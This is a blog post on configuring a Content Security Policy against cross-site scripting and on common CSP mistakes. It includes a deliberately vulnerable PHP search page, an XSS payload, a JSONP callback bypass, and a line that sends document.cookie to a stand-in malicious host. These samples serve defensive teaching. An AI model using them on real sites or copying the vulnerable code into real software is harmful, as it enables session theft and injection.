Setting a good Content Security Policy

2024-08-22

The Content Security Policy (CSP) is a powerful security feature that helps protect your website from cross-site scripting (XSS) attacks and other types of code injection vulnerabilities. There are some directives that do other things, but the bulk of this blog post will cover using the fetch-directives, or the elements of the CSP that allow you to specify a allow-list of approved sources from which resources This helps prevent malicious code from being executed on your site.

To implement CSP, you need to set the Content-Security-Policy HTTP header on your web server. Here’s an example of what a basic CSP header might look like:

Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com

Let’s break down the different directives in this example:

  • default-src 'self': This sets the default source for all resource types to the same origin (i.e., your own website). This is a good baseline to start with.
  • script-src 'self' https://example.com: This specifies that scripts can only be loaded from your own site ('self') and the https://example.com domain. This helps prevent the execution of any unauthorized scripts.

It is worth noting that default-src applies to all source types that haven’t been explicitly specified. Any sources that are explicitly specified overwrite then default-src, they are not added to it.

Consider the following:

Content-Security-Policy: default-src 'self'; script-src https://example.com

This will not allow scripts to sourced from the current origin, despite 'self' being in the default-src directive.

You can further customize the CSP header to suit your website’s specific needs. For example, you might want to allow images to be loaded from a content delivery network (CDN), or allow fonts from a third-party font provider. Here’s an example of a more comprehensive CSP header:

Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com; style-src 'self' https://cdn.example.com; img-src 'self' https://cdn.example.com; font-src 'self' https://fonts.gstatic.com

In this example, we’ve added directives for styles, images, and fonts, allowing them to be loaded from specific approved sources.

It’s important to note that implementing CSP is an iterative process. You’ll likely need to adjust your policy as you add new features and functionality to your website. A good approach is to start with a strict policy and gradually loosen it as needed, while keeping security as the top priority.

Whilst testing, it may be useful to use the content-security-policy-report-only header. Whilst it doesn’t provide any protection, it also won’t break an existing site as it only reports report violations, rather than blocking them.

Why Bother

So, we have an idea of how to set a CSP, but not why we may want to. The main reason to have a strong CSP set is to protect against injection attacks. The most common of these is cross-site-scripting, where JavaScript is injected; although other types do exist when injecting malicious css (style-injection), or images (image-injection). The example below explains one way in which script injection, or cross-site-scripting, is bad.

Take the following simple PHP search page:

<!DOCTYPE html>
<html>
<head>
    <title>Vulnerable Search Page</title>
</head>
<body>
    <h1>Search Our Website</h1>
    <form method="GET" action="/search.php">
        Search: <input type="text" name="search">
        <input type="submit" name="submit" value="Search">
    </form>

    <?php
    if(isset($_GET['search'])) {
        echo "<h2>You searched for: " . $_GET['search'] . "</h2>";
    }

    //Some logic to display search results
    ?>
</body>
</html>

The important factor here is that the users search query ($_GET['search']) is output verbatim, without encoding or sanitising it.

If I perform a search for <script>alert(1);</script>, the following h2 tag will be sent to the browser:

<h2>You searched for: <script>alert(1);</script></h2>

The browser will see that, and interpret the script tag as a script it should execute. alert(1) is a relatively benign function that we often use to demonstrate the issue exists, without causing significant issues to the site. However, now imagine changing alert(1) for fetch('https://malicious-site.com?c=' + document.cookie).

Now my cookies have been sent to a malicious site for the owner to do with as they please.

The content-security-policy can be use to add a layer of protection here. When set strictly, the browser can “know” that the script tag in the h1 tag isn’t on a pre-approved list, so the browser won’t execute it.

Potential Mistakes

So, now we know why you might want a CSP, and how to set one, we’ll look at some of the most common mistakes I see people make.

'unsafe-inline' source

This source is very frequently added to a CSP, without realising it severely limits the protection that it can offer. Most online generators will add it as, in their current setup, most sites use inline resources. An inline resource is, as the name suggests, most script or style resources that are not external.

So,

<script>console.log("Inline");</script>
<img src="something.jpg" onclick="console.log('Also Inline')" />
<script src="/not-inline.js"></script>

<style>
body{
    background-color: red; /*inline*/
    }
</style>
<img style="background-color: red; /*also inline*/" />
<link rel="stylesheet" href="/not-inline.css" />

The problem here is that, more often than not, inline JS is the easiest way to achieve XSS. The search example we used earlier added an inline script tag, so a CSP with unsafe-inline would not have prevented it from executing.

There are a number of better options here. First is externalising scripts. So, moving inline JS into an external file and adding it to the allow-list.

If that isn’t possible, or practical, another option is to use the special <hashtype>-<hash> sources, or nonce-<nonce> sources. These allow you to add specific inline scripts to the allow-list, without allowing all inline scripts. Just make sure not to fall into the potential mistakes with nonce sources.

'unsafe-eval' source

The unsafe-eval source is only relevant for JavaScript, and allows scripts to run eval(), and a couple of other similar functions. The most common use for eval I’ve seen is when targeting older JS environments that not have native JSON support as an alternative to JSON.parse().

So, consider the following:

const jsonString = document.getElementById('someTextArea').value;
const jsonObject = eval(jsonString2 );

If the contents of the text area were:

{
  "name": "Jane Doe",
  "age": 25
}

then:

console.log(jsonObject.name); // Output: "Jane Doe"

However, if the contents of the text area were alert(1), then we are in the situation again whereby unsafe JavaScript is being executed. Unfortunately, there are a lot of different uses of eval, so a “fix” for all of them is unlikely. However, most modern frameworks do not need to use eval, so disabling it is preferable if possible.

Nonce source

The nonce source allows site maintainers to allow some inline sources to be included. We’ve been using JavaScript as examples, so I will continue to do so, but note that this is also relevant for CSS.

Content-Security-Policy: script-src 'nonce-uph5Fai4'
<!DOCTYPE html>
<html>
<head>
    <title>Example</title>
    <script nonce="uph5Fai4">
        console.log("This will run");
    </script>
    <script>
        console.log("This won't");
    </script>
</head>
<body>
    <h1>Our Website</h1>
</body>
</html>

For the nonce source to be effective, it must be unpractical for malicious actor to guess the nonce. In practice, this generally means using a long and random string of characters for each response. The nonce should not be re-used. If a malicious actor can guess what a nonce is, then they can simply add the attribute to their injected payload.

JSONP Sources

JSONP (JSON with Padding) is a technique used to bypass the same-origin policy, which is a security feature implemented by web browsers to prevent a web page from making requests to a different domain than the one that served the web page.

The way JSONP works is as follows:

  1. The client-side code defines a function, to processes JSON data.
  2. A <script> tag is created with its src attribute to a URL that returns a JSON response, with the name of the previously defined function specified.
  3. The server-side code wraps the JSON response in a function call, with the function name provided.

Here’s an example:

Client-side HTML:

<script>
function handleResponse(data) {
  console.log(data);
}
</script>
<script src="https://example.com/data?callback=handleResponse"></script>

The response to that data script would look something like:

handleResponse({
  "name": "John Doe",
  "age": 30
});

JSONP was a popular technique in the past, as it allowed developers to make cross-domain requests without running into the same-origin policy.

However, if a user is able to inject a script tag into a document, and a CDN that is known to host JSONP endpoints is on the allow-list, they could include something like

<script src="https://example.com/data?callback=alert(1);handleResponse"></script>

Most implementations will then return the following:

alert(1);handleResponse({
  "name": "John Doe",
  "age": 30
});

JSONP is now generally discouraged, in favour of CORS, which allows site owners to explicitly allow some resources to be requested across origins. However, note that many CDNs host JSONP endpoints, so even if your site doesn’t use them, allowing a domain that hosts them is enough to provide a CSP bypass in many situations. The CSP does allow sub directories or even specific files to be added to the allow-list, so if unsure about whether a CDN provides JSONP endpoints, you may wish to explicitly allow a specific file on the CDN, rather than all files.

For example:

Content-Security-Policy: script-src http://example.com/file.js;

as opposed to

Content-Security-Policy: script-src http://example.com/;

Domains Which Allow Uploads

When you include a domain in your CSP, you’re essentially giving control of your website’s security to that platform and all the developers who publish code on it. Not only does this potentially introduce supply chain attacks, many CDNs also allow public submission. Unpkg, for instance, is a popular CDN that hosts everything on NPM. All you need to submit code to it is a free NPM account. If a CSP includes unpkg, or one of the many similar services, in their CSP; anyone can submit code that the CSP will allow to run.

Self source

It is worth noting that the 'self' keyword can introduce a similar issue.

The 'self' source is a shortcut to allow sources from the current origin.

The difference between origin and site has been discussed elsewhere in more detail, but briefly, an origin is defined by scheme (protocol), hostname (domain), and port of the url. Sub domains are a different origin, although often the same same site.

https://example.jonathanh.co.uk:443/something/cool
│                                 │
└────────────Origin───────────────┘

https://example.jonathanh.co.uk:443/something/cool
                │             │
                └────Site─────┘

Normally, including 'self' is safe, although care should be taken if you allow users of your site to upload content, and that content is accessible on the same origin. If so, a user could potentially upload a malicious file and bypass the CSP as the file is available under the 'self' domain.

Other Permissive Sources

The following are considered permissive. I won’t go into too much detail for each, but ideally you should avoid using:

  • https: - Any source that is hosted on an encrypted server. A malicious actor can very easily spin up a server with a valid certificate
  • data: - Any source that can be loaded via a data scheme. In most cases, this just involves base64 encoding a payload.